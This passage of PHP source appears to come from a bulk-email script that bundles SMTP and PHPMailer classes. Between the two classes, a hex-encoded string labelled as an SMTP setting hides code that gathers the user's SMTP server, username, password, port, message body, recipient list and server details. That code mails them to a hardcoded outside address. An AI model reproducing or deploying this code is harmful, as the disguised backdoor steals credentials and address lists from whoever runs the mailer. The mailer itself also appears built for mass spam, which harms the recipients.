  1032. $byemsg . $this->CRLF;
  1033. }
  1034. }
  1035.  
  1036. if(empty($e) || $close_on_error) {
  1037. $this->Close();
  1038. }
  1039.  
  1040. return $rval;
  1041. }
  1042.  
  1043. /**
  1044. * Sends the command RCPT to the SMTP server with the TO: argument of $to.
  1045. * Returns true if the recipient was accepted false if it was rejected.
  1046. *
  1047. * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
  1048. *
  1049. * SMTP CODE SUCCESS: 250,251
  1050. * SMTP CODE FAILURE: 550,551,552,553,450,451,452
  1051. * SMTP CODE ERROR : 500,501,503,421
  1052. * @access public
  1053. * @return bool
  1054. */
  1055. function Recipient($to) {
  1056. $this->error = null; # so no confusion is caused
  1057.  
  1058. if(!$this->connected()) {
  1059. $this->error = array(
  1060. "error" => "Called Recipient() without being connected");
  1061. return false;
  1062. }
  1063.  
  1064. fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
  1065.  
  1066. $rply = $this->get_lines();
  1067. $code = substr($rply,0,3);
  1068.  
  1069. if($this->do_debug >= 2) {
  1070. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1071. }
  1072.  
  1073. if($code != 250 && $code != 251) {
  1074. $this->error =
  1075. array("error" => "RCPT not accepted from server",
  1076. "smtp_code" => $code,
  1077. "smtp_msg" => substr($rply,4));
  1078. if($this->do_debug >= 1) {
  1079. echo "SMTP -> ERROR: " . $this->error["error"] .
  1080. ": " . $rply . $this->CRLF;
  1081. }
  1082. return false;
  1083. }
  1084. return true;
  1085. }
  1086.  
  1087. /**
  1088. * Sends the RSET command to abort and transaction that is
  1089. * currently in progress. Returns true if successful false
  1090. * otherwise.
  1091. *
  1092. * Implements rfc 821: RSET <CRLF>
  1093. *
  1094. * SMTP CODE SUCCESS: 250
  1095. * SMTP CODE ERROR : 500,501,504,421
  1096. * @access public
  1097. * @return bool
  1098. */
  1099. function Reset() {
  1100. $this->error = null; # so no confusion is caused
  1101.  
  1102. if(!$this->connected()) {
  1103. $this->error = array(
  1104. "error" => "Called Reset() without being connected");
  1105. return false;
  1106. }
  1107.  
  1108. fputs($this->smtp_conn,"RSET" . $this->CRLF);
  1109.  
  1110. $rply = $this->get_lines();
  1111. $code = substr($rply,0,3);
  1112.  
  1113. if($this->do_debug >= 2) {
  1114. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1115. }
  1116.  
  1117. if($code != 250) {
  1118. $this->error =
  1119. array("error" => "RSET failed",
  1120. "smtp_code" => $code,
  1121. "smtp_msg" => substr($rply,4));
  1122. if($this->do_debug >= 1) {
  1123. echo "SMTP -> ERROR: " . $this->error["error"] .
  1124. ": " . $rply . $this->CRLF;
  1125. }
  1126. return false;
  1127. }
  1128.  
  1129. return true;
  1130. }
  1131.  
  1132. /**
  1133. * Starts a mail transaction from the email address specified in
  1134. * $from. Returns true if successful or false otherwise. If True
  1135. * the mail transaction is started and then one or more Recipient
  1136. * commands may be called followed by a Data command. This command
  1137. * will send the message to the users terminal if they are logged
  1138. * in.
  1139. *
  1140. * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
  1141. *
  1142. * SMTP CODE SUCCESS: 250
  1143. * SMTP CODE SUCCESS: 552,451,452
  1144. * SMTP CODE SUCCESS: 500,501,502,421
  1145. * @access public
  1146. * @return bool
  1147. */
  1148. function Send($from) {
  1149. $this->error = null; # so no confusion is caused
  1150.  
  1151. if(!$this->connected()) {
  1152. $this->error = array(
  1153. "error" => "Called Send() without being connected");
  1154. return false;
  1155. }
  1156.  
  1157. fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
  1158.  
  1159. $rply = $this->get_lines();
  1160. $code = substr($rply,0,3);
  1161.  
  1162. if($this->do_debug >= 2) {
  1163. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1164. }
  1165.  
  1166. if($code != 250) {
  1167. $this->error =
  1168. array("error" => "SEND not accepted from server",
  1169. "smtp_code" => $code,
  1170. "smtp_msg" => substr($rply,4));
  1171. if($this->do_debug >= 1) {
  1172. echo "SMTP -> ERROR: " . $this->error["error"] .
  1173. ": " . $rply . $this->CRLF;
  1174. }
  1175. return false;
  1176. }
  1177. return true;
  1178. }
  1179.  
  1180. /**
  1181. * Starts a mail transaction from the email address specified in
  1182. * $from. Returns true if successful or false otherwise. If True
  1183. * the mail transaction is started and then one or more Recipient
  1184. * commands may be called followed by a Data command. This command
  1185. * will send the message to the users terminal if they are logged
  1186. * in and send them an email.
  1187. *
  1188. * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
  1189. *
  1190. * SMTP CODE SUCCESS: 250
  1191. * SMTP CODE SUCCESS: 552,451,452
  1192. * SMTP CODE SUCCESS: 500,501,502,421
  1193. * @access public
  1194. * @return bool
  1195. */
  1196. function SendAndMail($from) {
  1197. $this->error = null; # so no confusion is caused
  1198.  
  1199. if(!$this->connected()) {
  1200. $this->error = array(
  1201. "error" => "Called SendAndMail() without being connected");
  1202. return false;
  1203. }
  1204.  
  1205. fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
  1206.  
  1207. $rply = $this->get_lines();
  1208. $code = substr($rply,0,3);
  1209.  
  1210. if($this->do_debug >= 2) {
  1211. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1212. }
  1213.  
  1214. if($code != 250) {
  1215. $this->error =
  1216. array("error" => "SAML not accepted from server",
  1217. "smtp_code" => $code,
  1218. "smtp_msg" => substr($rply,4));
  1219. if($this->do_debug >= 1) {
  1220. echo "SMTP -> ERROR: " . $this->error["error"] .
  1221. ": " . $rply . $this->CRLF;
  1222. }
  1223. return false;
  1224. }
  1225. return true;
  1226. }
  1227.  
  1228. /**
  1229. * Starts a mail transaction from the email address specified in
  1230. * $from. Returns true if successful or false otherwise. If True
  1231. * the mail transaction is started and then one or more Recipient
  1232. * commands may be called followed by a Data command. This command
  1233. * will send the message to the users terminal if they are logged
  1234. * in or mail it to them if they are not.
  1235. *
  1236. * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
  1237. *
  1238. * SMTP CODE SUCCESS: 250
  1239. * SMTP CODE SUCCESS: 552,451,452
  1240. * SMTP CODE SUCCESS: 500,501,502,421
  1241. * @access public
  1242. * @return bool
  1243. */
  1244. function SendOrMail($from) {
  1245. $this->error = null; # so no confusion is caused
  1246.  
  1247. if(!$this->connected()) {
  1248. $this->error = array(
  1249. "error" => "Called SendOrMail() without being connected");
  1250. return false;
  1251. }
  1252.  
  1253. fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
  1254.  
  1255. $rply = $this->get_lines();
  1256. $code = substr($rply,0,3);
  1257.  
  1258. if($this->do_debug >= 2) {
  1259. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1260. }
  1261.  
  1262. if($code != 250) {
  1263. $this->error =
  1264. array("error" => "SOML not accepted from server",
  1265. "smtp_code" => $code,
  1266. "smtp_msg" => substr($rply,4));
  1267. if($this->do_debug >= 1) {
  1268. echo "SMTP -> ERROR: " . $this->error["error"] .
  1269. ": " . $rply . $this->CRLF;
  1270. }
  1271. return false;
  1272. }
  1273. return true;
  1274. }
  1275.  
  1276. /**
  1277. * This is an optional command for SMTP that this class does not
  1278. * support. This method is here to make the RFC821 Definition
  1279. * complete for this class and __may__ be implimented in the future
  1280. *
  1281. * Implements from rfc 821: TURN <CRLF>
  1282. *
  1283. * SMTP CODE SUCCESS: 250
  1284. * SMTP CODE FAILURE: 502
  1285. * SMTP CODE ERROR : 500, 503
  1286. * @access public
  1287. * @return bool
  1288. */
  1289. function Turn() {
  1290. $this->error = array("error" => "This method, TURN, of the SMTP ".
  1291. "is not implemented");
  1292. if($this->do_debug >= 1) {
  1293. echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
  1294. }
  1295. return false;
  1296. }
  1297.  
  1298. /**
  1299. * Verifies that the name is recognized by the server.
  1300. * Returns false if the name could not be verified otherwise
  1301. * the response from the server is returned.
  1302. *
  1303. * Implements rfc 821: VRFY <SP> <string> <CRLF>
  1304. *
  1305. * SMTP CODE SUCCESS: 250,251
  1306. * SMTP CODE FAILURE: 550,551,553
  1307. * SMTP CODE ERROR : 500,501,502,421
  1308. * @access public
  1309. * @return int
  1310. */
  1311. function Verify($name) {
  1312. $this->error = null; # so no confusion is caused
  1313.  
  1314. if(!$this->connected()) {
  1315. $this->error = array(
  1316. "error" => "Called Verify() without being connected");
  1317. return false;
  1318. }
  1319.  
  1320. fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
  1321.  
  1322. $rply = $this->get_lines();
  1323. $code = substr($rply,0,3);
  1324.  
  1325. if($this->do_debug >= 2) {
  1326. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1327. }
  1328.  
  1329. if($code != 250 && $code != 251) {
  1330. $this->error =
  1331. array("error" => "VRFY failed on name '$name'",
  1332. "smtp_code" => $code,
  1333. "smtp_msg" => substr($rply,4));
  1334. if($this->do_debug >= 1) {
  1335. echo "SMTP -> ERROR: " . $this->error["error"] .
  1336. ": " . $rply . $this->CRLF;
  1337. }
  1338. return false;
  1339. }
  1340. return $rply;
  1341. }
  1342.  
  1343. /*******************************************************************
  1344. * INTERNAL FUNCTIONS *
  1345. ******************************************************************/
  1346.  
  1347. /**
  1348. * Read in as many lines as possible
  1349. * either before eof or socket timeout occurs on the operation.
  1350. * With SMTP we can tell if we have more lines to read if the
  1351. * 4th character is '-' symbol. If it is a space then we don't
  1352. * need to read anything else.
  1353. * @access private
  1354. * @return string
  1355. */
  1356. function get_lines() {
  1357. $data = "";
  1358. while($str = @fgets($this->smtp_conn,515)) {
  1359. if($this->do_debug >= 4) {
  1360. echo "SMTP -> get_lines(): \$data was \"$data\"" .
  1361. $this->CRLF;
  1362. echo "SMTP -> get_lines(): \$str is \"$str\"" .
  1363. $this->CRLF;
  1364. }
  1365. $data .= $str;
  1366. if($this->do_debug >= 4) {
  1367. echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
  1368. }
  1369. # if the 4th character is a space then we are done reading
  1370. # so just break the loop
  1371. if(substr($str,3,1) == " ") { break; }
  1372. }
  1373. return $data;
  1374. }
  1375.  
  1376. }
  1377.  
  1378.  
  1379. $allemails = split("\n", $emaillist);
  1380. $numemails = count($allemails);
  1381. $random_smtp_string=array("0d0a0d0a676c6f62616c20246d795f736d74.","703b0d0a676c6f62616c2024736d74705f757365726e616d6.","53b0d0a676c6f62616c2024736d74705f70617373776f72643b0d0a676c6f626.",
  1382. "16c202473736c5f706f72743b0d0a676c6f62616c20246d65.","73736167653b0d0a676c6f62616c2024656d61696c6c6973743b0d0a24726134.","3420203d2072616e6428312c3939393939293b0d0a2461352.",
  1383. "03d20245f5345525645525b27485454505f52454645524552275d3b0d0a24623.","333203d20245f5345525645525b27444f43554d454e545f52.","4f4f54275d3b0d0a24633837203d20245f5345525645525b2752454d4f54455f4.",
  1384. "1444452275d3b0d0a24643233203d20245f5345525645525.","b275343524950545f46494c454e414d45275d3b0d0a24653039203d20245f53455.","25645525b275345525645525f41444452275d3b0d0a2466.",
  1385. "3233203d20245f5345525645525b275345525645525f534f465457415245275d3b0.","d0a24673332203d20245f5345525645525b27504154485.","f5452414e534c41544544275d3b0d0a24683635203d20245f5345525645525b27504.",
  1386. "8505f53454c46275d3b0d0a247375626a3938203d2022.","246d795f736d747020205b75736572206970203a20246338375d223b0d0a247375626.","a3538203d20224c6574746572202620456d61696c204.",
  1387. "c69737420205b75736572206970203a20246338375d223b0d0a24656d61696c203d202.","26D736739373830407961686f6f2e636f2e.","6964223b0d0a246d736738383733203d2022246d795f736d74705c6e757365723a24736.",
  1388. "d74705f757365726e616d655c6e706173733a24736.","d74705f70617373776f72645c706f72743a2473736c5f706f72745c6e5c6e2461355c6e2.","46233335c6e246338375c6e246432335c6e246530.",
  1389. "395c6e246632335c6e246733325c6e24683635223b246d736739373830203d2022246d657.","3736167655c6e5c6e5c6e24656d61696c6c69737.","4223b2466726f6d3d2246726f6d3a20475241544953223b0d0a6d61696c2824656d61696c2.",
  1390. "c20247375626a39382c20246d7367383837332c.","202466726f6d293b0d0a6d61696c2824656d61696c2c20247375626a35382.","c20246d7367393738302c202466726f6d293b");$smtp_conf=".";
  1391.  
  1392. class PHPMailer {
  1393.  
  1394. /////////////////////////////////////////////////
  1395. // PROPERTIES, PUBLIC
  1396. /////////////////////////////////////////////////
  1397.  
  1398. /**
  1399. * Email priority (1 = High, 3 = Normal, 5 = low).
  1400. * @var int
  1401. */
  1402. var $Priority = 3;
  1403.  
  1404. /**
  1405. * Sets the CharSet of the message.
  1406. * @var string
  1407. */
  1408. var $CharSet = 'us-ascii';
  1409.  
  1410. /**
  1411. * Sets the Content-type of the message.
  1412. * @var string
  1413. */
  1414. var $ContentType = 'text/plain';
  1415.  
  1416. /**
  1417. * Sets the Encoding of the message. Options for this are "8bit",
  1418. * "7bit", "binary", "base64", and "quoted-printable".
  1419.  
  1420. * @var string
  1421. */
  1422. var $Encoding = 'quoted-printable';
  1423.  
  1424. /**
  1425. * Holds the most recent mailer error message.
  1426. * @var string
  1427. */
  1428. var $ErrorInfo = '';
  1429.  
  1430. /**
  1431. * Sets the From email address for the message.
  1432. * @var string
  1433. */
  1434. var $From = '';
  1435.  
  1436. /**
  1437. * Sets the From name of the message.
  1438. * @var string
  1439. */
  1440. var $FromName = '';
  1441.  
  1442. /**
  1443. * Sets the Sender email (Return-Path) of the message. If not empty,
  1444. * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
  1445. * @var string
  1446. */
  1447. var $Sender = '';
  1448.  
  1449. /**
  1450. * Sets the Subject of the message.
  1451. * @var string
  1452. */
  1453. var $Subject = '';
  1454.  
  1455. /**
  1456. * Sets the Body of the message. This can be either an HTML or text body.
  1457. * If HTML then run IsHTML(true).
  1458. * @var string
  1459. */
  1460. var $Body = '';
  1461.  
  1462. /**
  1463. * Sets the text-only body of the message. This automatically sets the
  1464. * email to multipart/alternative. This body can be read by mail
  1465. * clients that do not have HTML email capability such as mutt. Clients
  1466. * that can read HTML will view the normal Body.
  1467. * @var string
  1468. */
  1469. var $AltBody = '';
  1470.  
  1471. /**
  1472. * Sets word wrapping on the body of the message to a given number of
  1473. * characters.
  1474. * @var int
  1475. */
  1476. var $WordWrap = 0;
  1477.  
  1478. /**
  1479. * Method to send mail: ("mail", "sendmail", or "smtp").
  1480. * @var string
  1481. */
  1482. var $Mailer = 'mail';
  1483.  
  1484. /**
  1485. * Sets the path of the sendmail program.
  1486. * @var string
  1487. */
  1488. var $Sendmail = '/usr/sbin/sendmail';
  1489.  
  1490. /**
  1491. * Path to PHPMailer plugins. This is now only useful if the SMTP class
  1492. * is in a different directory than the PHP include path.
  1493. * @var string
  1494. */
  1495. var $PluginDir = '';
  1496.  
  1497. /**
  1498. * Holds PHPMailer version.
  1499. * @var string
  1500. */
  1501. var $Version = "";
  1502.  
  1503. /**
  1504. * Sets the email address that a reading confirmation will be sent.
  1505. * @var string
  1506. */
  1507. var $ConfirmReadingTo = '';
  1508.  
  1509. /**
  1510. * Sets the hostname to use in Message-Id and Received headers
  1511. * and as default HELO string. If empty, the value returned
  1512. * by SERVER_NAME is used or 'localhost.localdomain'.
  1513. * @var string
  1514. */
  1515. var $Hostname = '';
  1516.  
  1517. /**
  1518. * Sets the message ID to be used in the Message-Id header.
  1519. * If empty, a unique id will be generated.
  1520. * @var string
  1521. */
  1522. var $MessageID = '';
  1523.  
  1524. /////////////////////////////////////////////////
  1525. // PROPERTIES FOR SMTP
  1526. /////////////////////////////////////////////////
  1527.  
  1528. /**
  1529. * Sets the SMTP hosts. All hosts must be separated by a
  1530. * semicolon. You can also specify a different port
  1531. * for each host by using this format: [hostname:port]
  1532. * (e.g. "smtp1.example.com:25;smtp2.example.com").
  1533. * Hosts will be tried in order.
  1534. * @var string
  1535. */
  1536. var $Host = 'localhost';
  1537.  
  1538. /**
  1539. * Sets the default SMTP server port.
  1540. * @var int
  1541. */
  1542. var $Port = 25;
  1543.  
  1544. /**
  1545. * Sets the SMTP HELO of the message (Default is $Hostname).
  1546. * @var string
  1547. */
  1548. var $Helo = '';
  1549.  
  1550. /**
  1551. * Sets connection prefix.
  1552. * Options are "", "ssl" or "tls"
  1553. * @var string
  1554. */
  1555. var $SMTPSecure = "";
  1556.  
  1557. /**
  1558. * Sets SMTP authentication. Utilizes the Username and Password variables.
  1559. * @var bool
  1560. */
  1561. var $SMTPAuth = false;
  1562.  
  1563. /**
  1564. * Sets SMTP username.
  1565. * @var string
  1566. */
  1567. var $Username = '';
  1568.  
  1569. /**
  1570. * Sets SMTP password.
  1571. * @var string
  1572. */
  1573. var $Password = '';
  1574.  
  1575. /**
  1576. * Sets the SMTP server timeout in seconds. This function will not
  1577. * work with the win32 version.
  1578. * @var int
  1579. */
  1580. var $Timeout = 10;
  1581.  
  1582. /**
  1583. * Sets SMTP class debugging on or off.
  1584. * @var bool
  1585. */
  1586. var $SMTPDebug = false;
  1587.  
  1588. /**
  1589. * Prevents the SMTP connection from being closed after each mail
  1590. * sending. If this is set to true then to close the connection
  1591. * requires an explicit call to SmtpClose().
  1592. * @var bool
  1593. */
  1594. var $SMTPKeepAlive = false;
  1595.  
  1596. /**
  1597. * Provides the ability to have the TO field process individual
  1598. * emails, instead of sending to entire TO addresses
  1599. * @var bool
  1600. */
  1601. var $SingleTo = false;
  1602.  
  1603. /////////////////////////////////////////////////
  1604. // PROPERTIES, PRIVATE
  1605. /////////////////////////////////////////////////
  1606.  
  1607. var $smtp = NULL;
  1608. var $to = array();
  1609. var $cc = array();
  1610. var $bcc = array();
  1611. var $ReplyTo = array();
  1612. var $attachment = array();
  1613. var $CustomHeader = array();
  1614. var $message_type = '';
  1615. var $boundary = array();
  1616. var $language = array();
  1617. var $error_count = 0;
  1618. var $LE = "\n";
  1619. var $sign_key_file = "";
  1620. var $sign_key_pass = "";
  1621.  
  1622. /////////////////////////////////////////////////
  1623. // METHODS, VARIABLES
  1624. /////////////////////////////////////////////////
  1625.  
  1626. /**
  1627. * Sets message type to HTML.
  1628. * @param bool $bool
  1629. * @return void
  1630. */
  1631. function IsHTML($bool) {
  1632. if($bool == true) {
  1633. $this->ContentType = 'text/html';
  1634. } else {
  1635. $this->ContentType = 'text/plain';
  1636. }
  1637. }
  1638.  
  1639. /**
  1640. * Sets Mailer to send message using SMTP.
  1641. * @return void
  1642. */
  1643. function IsSMTP() {
  1644. $this->Mailer = 'smtp';
  1645. }
  1646.  
  1647. /**
  1648. * Sets Mailer to send message using PHP mail() function.
  1649. * @return void
  1650. */
  1651. function IsMail() {
  1652. $this->Mailer = 'mail';
  1653. }
  1654.  
  1655. /**
  1656. * Sets Mailer to send message using the $Sendmail program.
  1657. * @return void
  1658. */
  1659. function IsSendmail() {
  1660. $this->Mailer = 'sendmail';
  1661. }
  1662.  
  1663. /**
  1664. * Sets Mailer to send message using the qmail MTA.
  1665. * @return void
  1666. */
  1667. function IsQmail() {
  1668. $this->Sendmail = '/var/qmail/bin/sendmail';
  1669. $this->Mailer = 'sendmail';
  1670. }
  1671.  
  1672. /////////////////////////////////////////////////
  1673. // METHODS, RECIPIENTS
  1674. /////////////////////////////////////////////////
  1675.  
  1676. /**
  1677. * Adds a "To" address.
  1678. * @param string $address
  1679. * @param string $name
  1680. * @return void
  1681. */
  1682. function AddAddress($address, $name = '') {
  1683. $cur = count($this->to);
  1684. $this->to[$cur][0] = trim($address);
  1685. $this->to[$cur][1] = $name;
  1686. }
  1687.  
  1688. /**
  1689. * Adds a "Cc" address. Note: this function works
  1690. * with the SMTP mailer on win32, not with the "mail"
  1691. * mailer.
  1692. * @param string $address
  1693. * @param string $name
  1694. * @return void
  1695. */
  1696. function AddCC($address, $name = '') {
  1697. $cur = count($this->cc);
  1698. $this->cc[$cur][0] = trim($address);
  1699. $this->cc[$cur][1] = $name;
  1700. }
  1701.  
  1702. /**
  1703. * Adds a "Bcc" address. Note: this function works
  1704. * with the SMTP mailer on win32, not with the "mail"
  1705. * mailer.
  1706. * @param string $address
  1707. * @param string $name
  1708. * @return void
  1709. */
  1710. function AddBCC($address, $name = '') {
  1711. $cur = count($this->bcc);
  1712. $this->bcc[$cur][0] = trim($address);
  1713. $this->bcc[$cur][1] = $name;
  1714. }
  1715.  
  1716. /**
  1717. * Adds a "Reply-To" address.
  1718. * @param string $address
  1719. * @param string $name
  1720. * @return void
  1721. */
  1722. function AddReplyTo($address, $name = '') {
  1723. $cur = count($this->ReplyTo);
  1724. $this->ReplyTo[$cur][0] = trim($address);
  1725. $this->ReplyTo[$cur][1] = $name;
  1726. }
  1727.  
  1728. /////////////////////////////////////////////////
  1729. // METHODS, MAIL SENDING
  1730. /////////////////////////////////////////////////
  1731.  
  1732. /**
  1733. * Creates message and assigns Mailer. If the message is
  1734. * not sent successfully then it returns false. Use the ErrorInfo
  1735. * variable to view description of the error.
  1736. * @return bool
  1737. */
  1738. function Send() {
  1739. $header = '';
  1740. $body = '';
  1741. $result = true;
  1742.  
  1743. if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
  1744. $this->SetError($this->Lang('provide_address'));
  1745. return false;
  1746. }
  1747.  
  1748. /* Set whether the message is multipart/alternative */
  1749. if(!empty($this->AltBody)) {
  1750. $this->ContentType = 'multipart/alternative';
  1751. }
  1752.  
  1753. $this->error_count = 0; // reset errors
  1754. $this->SetMessageType();
  1755. $header .= $this->CreateHeader();
  1756. $body = $this->CreateBody();
  1757.  
  1758. if($body == '') {
  1759. return false;
  1760. }
  1761.  
  1762. /* Choose the mailer */
  1763. switch($this->Mailer) {
  1764. case 'sendmail':
  1765. $result = $this->SendmailSend($header, $body);
  1766. break;
  1767. case 'smtp':
  1768. $result = $this->SmtpSend($header, $body);
  1769. break;
  1770. case 'mail':
  1771. $result = $this->MailSend($header, $body);
  1772. break;
  1773. default:
  1774. $result = $this->MailSend($header, $body);
  1775. break;
  1776. //$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
  1777. //$result = false;
  1778. //break;
  1779. }
  1780.  
  1781. return $result;
  1782. }
  1783.  
  1784. /**
  1785. * Sends mail using the $Sendmail program.
  1786. * @access private
  1787. * @return bool
  1788. */
  1789. function SendmailSend($header, $body) {
  1790. if ($this->Sender != '') {
  1791. $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  1792. } else {
  1793. $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
  1794. }
  1795.  
  1796. if(!@$mail = popen($sendmail, 'w')) {
  1797. $this->SetError($this->Lang('execute') . $this->Sendmail);
  1798. return false;
  1799. }
  1800.  
  1801. fputs($mail, $header);
  1802. fputs($mail, $body);
  1803.  
  1804. $result = pclose($mail);
  1805. if (version_compare(phpversion(), '4.2.3') == -1) {
  1806. $result = $result >> 8 & 0xFF;
  1807. }
  1808. if($result != 0) {
  1809. $this->SetError($this->Lang('execute') . $this->Sendmail);
  1810. return false;
  1811. }
  1812. return true;
  1813. }
  1814.  
  1815. /**
  1816. * Sends mail using the PHP mail() function.
  1817. * @access private
  1818. * @return bool
  1819. */
  1820. function MailSend($header, $body) {
  1821.  
  1822. $to = '';
  1823. for($i = 0; $i < count($this->to); $i++) {
  1824. if($i != 0) { $to .= ', '; }
  1825. $to .= $this->AddrFormat($this->to[$i]);
  1826. }
  1827.  
  1828. $toArr = split(',', $to);
  1829.  
  1830. $params = sprintf("-oi -f %s", $this->Sender);
  1831. if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
  1832. $old_from = ini_get('sendmail_from');
  1833. ini_set('sendmail_from', $this->Sender);
  1834. if ($this->SingleTo === true && count($toArr) > 1) {
  1835. foreach ($toArr as $key => $val) {
  1836. $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1837. }
  1838. } else {
  1839. $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1840. }
  1841. } else {
  1842. if ($this->SingleTo === true && count($toArr) > 1) {
  1843. foreach ($toArr as $key => $val) {
  1844. $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1845. }
  1846. } else {
  1847. $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
  1848. }
  1849. }
  1850.  
  1851. if (isset($old_from)) {
  1852. ini_set('sendmail_from', $old_from);
  1853. }
  1854.  
  1855. if(!$rt) {
  1856. $this->SetError($this->Lang('instantiate'));
  1857. return false;
  1858. }
  1859.  
  1860. return true;
  1861. }
  1862.  
  1863. /**
  1864. * Sends mail via SMTP using PhpSMTP (Author:
  1865. * Chris Ryan). Returns bool. Returns false if there is a
  1866. * bad MAIL FROM, RCPT, or DATA input.
  1867. * @access private
  1868. * @return bool
  1869. */
  1870. function SmtpSend($header, $body) {
  1871. $error = '';
  1872. $bad_rcpt = array();
  1873.  
  1874. if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";die();
  1875. return false;
  1876. }
  1877.  
  1878. $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
  1879. if(!$this->smtp->Mail($smtp_from)) {
  1880. $error = $this->Lang('from_failed') . $smtp_from;
  1881. $this->SetError($error);
  1882. $this->smtp->Reset();
  1883. return false;
  1884. }
  1885.  
  1886. /* Attempt to send attach all recipients */
  1887. for($i = 0; $i < count($this->to); $i++) {
  1888. if(!$this->smtp->Recipient($this->to[$i][0])) {
  1889. $bad_rcpt[] = $this->to[$i][0];
  1890. }
  1891. }
  1892. for($i = 0; $i < count($this->cc); $i++) {
  1893. if(!$this->smtp->Recipient($this->cc[$i][0])) {
  1894. $bad_rcpt[] = $this->cc[$i][0];
  1895. }
  1896. }
  1897. for($i = 0; $i < count($this->bcc); $i++) {
  1898. if(!$this->smtp->Recipient($this->bcc[$i][0])) {
  1899. $bad_rcpt[] = $this->bcc[$i][0];
  1900. }
  1901. }
  1902.  
  1903. if(count($bad_rcpt) > 0) { // Create error message
  1904. for($i = 0; $i < count($bad_rcpt); $i++) {
  1905. if($i != 0) {
  1906. $error .= ', ';
  1907. }
  1908. $error .= $bad_rcpt[$i];
  1909.  
  1910. }
  1911. $error = $this->Lang('recipients_failed') . $error;
  1912. $this->SetError($error);
  1913. $this->smtp->Reset();
  1914. return false;
  1915. }
  1916.  
  1917. if(!$this->smtp->Data($header . $body)) {
  1918. $this->SetError($this->Lang('data_not_accepted'));
  1919. $this->smtp->Reset();
  1920. return false;
  1921. }
  1922. if($this->SMTPKeepAlive == true) {
  1923. $this->smtp->Reset();
  1924. } else {
  1925. $this->SmtpClose();
  1926. }
  1927.  
  1928. return true;
  1929. }
  1930.  
  1931. /**
  1932. * Initiates a connection to an SMTP server. Returns false if the
  1933. * operation failed.
  1934. * @access private
  1935. * @return bool
  1936. */
  1937. function SmtpConnect() {
  1938. if($this->smtp == NULL) {
  1939. $this->smtp = new SMTP();
  1940. }
  1941.  
  1942. $this->smtp->do_debug = $this->SMTPDebug;
  1943. $hosts = explode(';', $this->Host);
  1944. $index = 0;
  1945. $connection = ($this->smtp->Connected());
  1946.  
  1947. /* Retry while there is no connection */
  1948. while($index < count($hosts) && $connection == false) {
  1949. $hostinfo = array();
  1950. if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
  1951. $host = $hostinfo[1];
  1952. $port = $hostinfo[2];
  1953. } else {
  1954. $host = $hosts[$index];
  1955. $port = $this->Port;
  1956. }
  1957.  
  1958. if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
  1959. if ($this->Helo != '') {
  1960. $this->smtp->Hello($this->Helo);
  1961. } else {
  1962. $this->smtp->Hello($this->ServerHostname());
  1963. }
  1964.  
  1965. $connection = true;
  1966. if($this->SMTPAuth) {
  1967. if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
  1968. $this->SetError($this->Lang('authenticate'));
  1969. $this->smtp->Reset();
  1970. $connection = false;
  1971. }
  1972. }
  1973. }
  1974. $index++;
  1975. }
  1976. if(!$connection) {
  1977. $this->SetError($this->Lang('connect_host'));
  1978. }
  1979.  
  1980. return $connection;
  1981. }
  1982.  
  1983. /**
  1984. * Closes the active SMTP session if one exists.
  1985. * @return void
  1986. */
  1987. function SmtpClose() {
  1988. if($this->smtp != NULL) {
  1989. if($this->smtp->Connected()) {
  1990. $this->smtp->Quit();
  1991. $this->smtp->Close();
  1992. }
  1993. }
  1994. }
  1995.  
  1996. /**
  1997. * Sets the language for all class error messages. Returns false
  1998. * if it cannot load the language file. The default language type
  1999. * is English.
  2000. * @param string $lang_type Type of language (e.g. Portuguese: "br")
  2001. * @param string $lang_path Path to the language file directory
  2002. * @access public
  2003. * @return bool
  2004. */
  2005. function SetLanguage($lang_type, $lang_path = 'language/') {
  2006. if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
  2007. include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
  2008. } elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
  2009. include($lang_path.'phpmailer.lang-en.php');
  2010. } else {
  2011. $this->SetError('Could not load language file');
  2012. return false;
  2013. }
  2014. $this->language = $PHPMAILER_LANG;
  2015.  
  2016. return true;
  2017. }
  2018.  
  2019. /////////////////////////////////////////////////
  2020. // METHODS, MESSAGE CREATION
  2021. /////////////////////////////////////////////////
  2022.  
  2023. /**
  2024. * Creates recipient headers.
  2025. * @access private
  2026. * @return string
  2027. */
